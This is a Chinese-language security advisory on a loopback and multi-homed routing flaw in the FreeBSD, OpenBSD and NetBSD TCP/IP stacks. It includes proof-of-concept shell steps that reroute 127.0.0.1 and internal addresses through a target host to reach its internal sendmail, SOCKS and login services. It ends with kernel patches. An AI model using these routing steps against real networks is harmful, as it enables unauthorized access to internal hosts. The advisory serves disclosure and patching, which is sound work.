TCP/IP堆栈中的路由漏洞 (BSD,缺陷)
(转自安络科技)
涉及程序:
LOOPBACK 和 MULTI-HOMED
描述:
TCP/IP 堆栈中的 LOOPBACK 和 MULTI-HOMED 路由漏洞
详细:
在 TCP/IP 堆栈中存在一个漏洞:被用来测试回路或网络接口的信息包即使在机器被配置成不允许路由时也能通过其它接口获得路由。这意味着这些被设计成仅用来在机器内部起作用而对外部不可用的服务能被利用来为外部提供服务。从而可通过缓冲区溢出威胁到主机或相邻网络。
****以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负****
假设213.129.64.X代表公共网,172.16.X.X代表内部私人主机。服务器213.129.64.1在25号端口运行SENDAMIL,为当地程序提供SMTP服务。攻击者在213.129.64.2上。
213.129.64.2# route delete 127.0.0.1
delete host 127.0.0.1
213.129.64.2# route add 127.0.0.1 213.129.64.1
add host 127.0.0.1 gateway 213.129.64.1
213.129.64.2# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 eeek.woodyland.not ESMTP sendmail blah blah blah
若213.129.64.1仅对其内部网172.16.1.1运行SOCKS服务:
213.129.64.2# route add 172.16.1.1 213.129.64.1
213.129.64.2#add host 172.16.1.1: gateway 213.129.64.1
213.129.64.2# telnet 172.16.1.1 1080
Trying 172.16.1.1...
Connected to 172.16.1.1.
Escape character is '^]'.
213.129.64.2# export SOCKS_SERVER=172.16.1.1
213.129.64.2# rtelnet 172.16.1.2
Trying 172.16.1.2...
Connected to kerpow.woodyland.not Escape character is '^]'.
02/02/01 22:25:32 on /dev/con1
Last login: 02/02/01 21:22:54 on /dev/con1
login:
受影响系统:
FreeBSD
OpenBSD
NetBSD
解决方案:
FreeBSD4.2 已添加补丁:
--- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
+++ /usr/src/sys/netinet/ip_input.c Mon Dec 18 16:46:14 2000
@@ -486,7 +486,9 @@
ip_fw_fwd_addr->sin_addr.s_addr)
goto ours;
#else
- if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
+ if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
+ && (ia->ia_ifp == m->m_pkthdr.rcvif
+ || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
goto ours;
#endif
if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
{
OpenBSD:尚未推出补丁。
NetBSD: 请将下面的补丁打入sys/netinet/ip_input.c
*** ip_input.c 2001/03/01 16:31:39 1.128
--- ip_input.c 2001/03/02 02:05:36 1.129
***************
*** 416,421 ****
--- 416,428 ----
if (IN_MULTICAST(ip->ip_src.s_addr)) {
/* XXX stat */
goto bad;
+ }
+
+ /* 127/8 must not appear on wire - RFC1122 */
+ if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET ||
+ (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET) {
+ if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
+ goto bad;
}
if (in_cksum(m, hlen) != 0) {